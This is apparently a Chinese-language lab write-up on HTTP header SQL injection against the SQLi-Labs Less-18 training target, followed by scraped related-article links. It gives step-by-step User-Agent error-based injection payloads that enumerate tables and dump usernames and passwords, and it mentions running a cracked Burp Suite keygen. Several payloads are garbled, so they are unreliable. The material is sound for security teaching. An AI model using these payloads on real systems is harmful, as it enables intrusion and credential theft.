实验目的
理解HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义
和作用,掌握HTTP头部注入的原理、方法及基本流程。

实验原理
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证
等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent.
Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-18为入口,利用报错注入的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。
1.访问SQLi-Labs网站
在攻击机 Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站 Less-11。访问的URL为:
http://[靶机IP]/sqli-labs/Less-18/(注意大小写)

注:因为我把sqli-labs文件名字改为了sql,所以以下sqli-labs均以sql表示

2.利用Burpsuite工具进行抓包

(1)启动Burpsuite

在Burp文件夹中,鼠标左键双击BUPP.cmd程序,即可启动

如果不能启动可以在该文件夹所在的位置输入cmd 进入命令行模式

输入 java -jar BurpLoaderKeygen(1).jar     按Enter

(2)设置Burpsuite的代理服务端口

在Burpsuite软件界面上选择选项卡“Proxy"->”Options”,在Proxy Listeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端
口)。

(3)开启Burpsuite的代理拦截功能

在Burpsuite软件界面上选择卡“Proxy"->”Intercept”,将拦截开关按钮的状态设置为”Intercept is on”

(4)设置Firefox代理

回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择”为全部URLs启用代理服务器127.0.0.1:8080”:

完成之后插件图标会变成蓝色

(5)利用Burpsuite工具拦截HTTP请求包

在FireFox浏览器访问的Less-18登录验证界面,输入用户名admin、密码admin,然后点击Submit按钮

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块。

选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择"Send to Repeater",将其发送给Burpsuite的Repeater模块。

发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。

后续的步骤中,可以在 Repeater 选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在 Response栏中观察目标服务器的响应。
3.寻找注入点
在原始 HTTP请求包的头部字段User-Agent末尾添加单引号,即使用如下
payload:
User-Agent:Mozilla/5.0......Firefox/97.0'发现服务器端报错!

在原始HTTP请求包的头部字段User-Agent末尾添加如下符号,使用如下
payload:
User-Agent:Mozilla/5.8......Firefox/97.0',','')# 服务器端未报错!

由此可以判断,目标网站在POST参数处存在字符型注入点。
注如果在服务器端(靶机)上查看Less-18的 php代码,会发现其中存在这样一段代码:
$insert="INSERT INTO `security'. 'uagents'( uagent', ' ip_address', 'username')VALUES ( '$uagent' ,'$IP', $uname)";
这也是一种基于Insert的注入场景。
4.获取网站当前所在数据库的库名
使用以下 payload获取网站当前所在数据库的库名:
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,database())),'','')#显示结果为security.
 

5.获取数据库security的全部表名
使用以下payload获取数据库security的全部表名:
User-Agent:Mozilla/5.0... . ..Firefox/97.0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#
显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示上述 payload可以改为:
User-Agent:Mozilla/5.e......Firefox/ 97 .0' and extractvalue(1,concat('~ ' ,(select table_name from information_schema.tables where table_schema='security' limit 0,1))),',' )#
1/显示security库中的第1张表的名字
User-Agent:Mozi1la/5.0... . ..Firefox/97.0' and extractvalue(1, concat('~' ,( select table_name from information_schema.tables where table_schema='security’ limit 1,1))),’,')#
1/显示security库中的第2张表的名字
User-Agent:Mozilla/5.0.... ..Firefox/ 97.0' and extractvalue(1,concat('~' ,( select table_name from information_schema.tables  where table_schema='security' limit 2,1))),',')#
1/显示 security库中的第3张表的名字
6.获取users表的全部字段名
使用以下 payload获取users表的全部字段名:
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1, concat('~' ,(select group_concat(column_name) from information_schema.columns where table_schema='security'     and  table_name="users'))),,")#
显示结果,users表中有id、 username和 password三个字段。

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为:
User-Agent:Mozilla/5.0.... ..Firefox/97.0'and extractvalue(1,concat('~' ,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'",'")#1

//显示 users表中的第1个字段的名字
User-Agent:Mozilla/5.8... ...Firefox/ 97.0'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),","')#1

//显示 users表中的第2个字段的名字
User-Agent:Mozilla/5.0... . . .Firefox/97.0'and extractvalue(1,concat( '~',(select column_name from information_schema.columns where table_schema='security' and table_name='users ' limit 2,1))),"',"')#1

//显示users表中的第3个字段的名字

7.获取users表id、username和password字段的全部值
由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过 limit M,N的方式逐条显示,如
(1)显示第1组数据
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,(select concat_ws( ' , ',id,username,password) from security.users limit 0,1))),,")#
显示结果为 Dump,Dump。

(2)显示第2组数据
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,(select concat_ws( ' , ',id,username,password) from security.users limit 1,1))),,")#
显示结果为Angelina,l-kill-you。

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
实验至此结束。
实验总结
本次实验,成功实现了对存在 HTTP头部(User-Agent)注入点的网站的手工SQL注入,掌握了HTTP头部注入的原理、方法和流程。

SQL注入——HTTP头部注入相关推荐

  1. SOL注入——HTTP头部注入(2)(七)

    本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...

  2. SQL注入--HTTP头部注入

    实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...

  3. SQL注入-HTTP头部注入

    访问SQLi-Labs网站 在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11.访问的URL为: http://[靶机IP ...

  4. SOL注入——HTTP头部注入(六)

    本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...

  5. 注入攻击-SQL注入和代码注入

    注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...

  6. SQL注入简介和注入方法教学

    文章目录 SQL注入原理 SQL注入危害 SQL注入判断 SQL注入的分类 按参数类型分类 按数据库返回结果分类 按注入点位置分类 按参数类型分类 数字型 字符型 搜索型 按数据库返回结果分类 回显注 ...

  7. 网络安全——HTTP头部注入

    一.HTTP头部注入概述 1.HTTP工作原理 2.HTTP报文类型 (1).请求报文 (2).响应报文 3.HTTP头部内容 referer主要用来统计页面访问次数 二.HTTP头部注入 1.原理: ...

  8. SQL注入之MySQL注入学习笔记(二)

    补充:MySQL注释方法 文章目录 MySQL注入 基本介绍 字符型 数字型 搜索型 Cookie注入 HTTP头注入 具体实例 数字型注入 一般类型 被单引号包裹起来的 双引号加小括号包裹 两个括号 ...

  9. SQL注入天书-ASP注入漏洞全接触

    引     言                 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序 ...

最新文章

  1. 盘点深度学习中的各种数据增强技巧
  2. 网传 10 年技术岗老员工身患绝症,1780 元被知名游戏公司裁掉?公司回应:已达成和解
  3. plsql查询数据中文乱码
  4. 【数论】Crash的数字表格 / JZPTAB(P1829)
  5. C语言第一节 C语言程序与开发工具
  6. PHP性能:序——谈ab(Apache Bench)压力测试工具
  7. mysql innodb 分区_MySQL 表分区详解MyiSam引擎和InnoDb 区别(实测)
  8. Linux中c语言strcmp,c语言常用函数strcmp函数和strcpy函数
  9. 闭环整流电路matlab仿真,分享:基于双闭环的单相整流器原理简介及仿真验证
  10. Yii使用 case when 来模糊排序查询
  11. 微信收藏保存服务器,微信的收藏和保存功能有啥区别?
  12. ThinkPHP3.2.3实现后台登录界面
  13. 每周分享第 45 期
  14. 如何看出一个程序员的技术能力和水平?
  15. vue首次赋值不触发watch
  16. redis-manger管理平台
  17. 3U VPX XC7VX690T计算处理板
  18. 实现 企业微信认证 网络准入认证 配置
  19. 51nod 1213 二维曼哈顿距离最小生成树
  20. 识别字体软件测试,2行代码帮你搞定自动化测试的文字识别

热门文章

  1. 15.大规模机器学习
  2. css中文字体样式代码
  3. SaaSBase:什么是Thoughts?
  4. MATLAB2020a报错:函数或变量 ‘svmtrain‘ 无法识别。
  5. JavaScript中bind函数的使用
  6. Python:好看壁纸的都在某度图片库了,看我一举拿下
  7. 51单片机编写60秒倒计时程序
  8. Android system 分区讲解
  9. java编写计算协方差矩阵_协方差矩阵的实例与意义
  10. SQL中常见的几种连接方法-(内连接,左连接,右连接)